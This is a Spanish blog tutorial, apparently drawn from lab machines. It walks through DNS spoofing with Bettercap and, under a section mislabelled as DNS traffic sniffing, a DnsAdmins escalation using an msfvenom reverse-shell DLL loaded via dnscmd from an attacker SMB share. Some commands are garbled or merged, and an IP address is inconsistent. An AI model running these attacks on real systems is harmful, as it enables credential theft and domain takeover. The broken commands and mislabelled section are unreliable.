Hacking de Infraestructura: Protocolo DNS II

Esta es la segunda parte del post sobre el protocolo DNS y sus vulnerabilidades. Si aun no has leído la primera parte, te recomiendo que lo hagas a través de este enlace.

En este post me centraré en hablarte de dos técnicas avanzadas de hacking relacionado con el protocolo DNS: en primer lugar, el conocido DNS Spoofing, con el que podemos corromper la cache del Resolver del DNS, y en segundo lugar, un ejemplo de cómo espiar el tráfico del puerto 53 UDP donde corre el servicio DNS.

DNS Spoofing

Este ataque consiste en alterar la cache DNS de forma que se redirije el tráfico original a un sitio web fraudulento. Una vez redirigido, lo normal en este tipo de ataques es que ese sitio web pregunte al usuario su usuario y contraseña y de esa forma robarlos. Dado que es muy sencillo clonar la pagina web original puesto que el código HTML es público, si se consigue un nombre de dominio similar al original, es muy fácil engañar al usuario.

Para realizar el DNS spoofing voy a utilizar la herramienta Bettercap 2 

Una vez instalada, la ejecutamos y vemos los comandos básicos con help:

Hacking de Infraestructura: Protocolo DNS II

También podemos ver los módulos que tenemos activos, puesto que con esta herramienta también podemos realizar otros ataques como el arp spoofing o dhcp6 spoofing.

Para esta máquina vamos a activar tanto arp spoofing y dns spoofing. Para ello utilizamos los siguientes comandos:

  • set arp.spoof.targets 172.16.10.138 <- ip víctima
  • arp.spoof on
  • set dns.spoof.domains sokar-dev <- dominio que queremos falsificar
  • set dns.spoof.address 172.16.10.168 <- esta es mi ip
  • set dns.spoof.all true
  • dns.spoof on
  • active
 Con esto tendremos todo listo para realizar el dns spoofing. Pero antes, pongamos un poco de contexto: en este caso, en la máquina víctima (172.16.10.138) un usuario va a ejecutar un programa que intenta conectarse al servicio ssh del dominio sokar-dev. Nuestro ataque consistirá en inyectar en la caché de esta máquina una nueva línea que indique que la dirección ip del dominio sokar-dev es la nuestra, en este caso 172.168.10.168.

Cuando el usuario ejecuta este programa, este es el resultado antes de realizar el spoofing:

No existe ninguna entrada en su caché DNS que le indique en qué ip está el dominio sokar-dev.

Ahora, activamos el arp spoofing con los comandos que mostramos anteriormente, y activamos el servicio ssh en nuestra máquina con el comando service ssh start.

En los logs de la herramienta Bettercap podemos ver cómo está haciendo el spoofing:

Ahora, cuando la v´íctima ejecuta ese programa, podemos comprobar como se conecta al servicio SSH de nuestra dirección ip, consiguiendo así realizar con éxito el DNS Spoofing:

Espiar el tráfico del puerto 53 UDP

Veamos ahora cómo espiar las peticiones y respuestas que se mandan en el tráfico DNS. Para ello usaremos el siguiente programa:  https://github.com/GhostPack/Seatbelt

Descubrimos el SSID de DNS Admin: de la siguiente máquina:

Si nos fijamos, el DNS no acaba en 500 algo, eso quiere decir que no es algo por defecto, como todos los usuarios que se ven encima, así que es algo que debemos investigar.

Vamos a hacer queries mediante rpcclient:

Query para mostrar los miembros de un grupo:

El usuario 0x451 es el miembro del grupo Contractors, que es el grupo de los DNS Admins.

Si obtenemos las credenciales de este usuario y conseguimos una shell, podemos ejecutar código en el Domain Controller escalando privilegios. Una de las formas más sencillas de realizarlo es crear un dll malicioso y ejecutar con ese usuario el programa dnscmd.exe. Puedes ver como crear un dll malicioso en esta otra entrada de mi blog. Hagamos un breve paréntesis y repasemos rápidamente cómo se realizaría esta escalada en este caso concreto, partiendo de que tenemos acceso del usuario DNS Admin:

  1. Creamos el dll malicioso con msfvenom, especificando nuestra ip y el puerto por el que recibiremos la reverse shell.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f dll > privesc.dll

2. Levantamos un servidor SMB con impacket en nuestra máquina para transferir el archivo

python smbserver.py share ./

3. Añadimos el dll desde powershell con el usuario DNS Admin:

dnscmd  /config /serverlevelplugindll \\\share\privesc.dll

4. Por último, nos ponemos a la escucha en el puerto que indicamos en el paso 1 y reiniciamos el servidor dns:

nc -lvnp sc.exe  stop dns
sc.exe start dns

Con esto obtendremos una terminal de administrador (nt authority\system), habiendo realizado con exito la escalación de privilegios.

Probémoslo en esta máquina:

Si con megabank.local no funciona puedes probar con 127.0.0.1

A continuación reiniciamos el servicio dns con los comandos sc.exe stop dns y sc.exe start dns

Y de esa forma poniendonos a la escucha en el puerto que hayamos configurado en el dll, obtendremos una shell de administrador:

Espero que toda esta información sobre el protocolo DNS te haya sido de utilidad. Si te ha gustado, te recomiendo echarle un vistazo a las demás entradas bajo la categoría hacking de infraestructura, donde podrás encontrar las vulnerabilidades de protocolos como FTP, SSH, TELNET, WHOIS, etc. Nos vemos en próximas entregas con más vulnerabilidades de protocolos.

Lethani.

4/5 - (42 votos)

Deja un comentario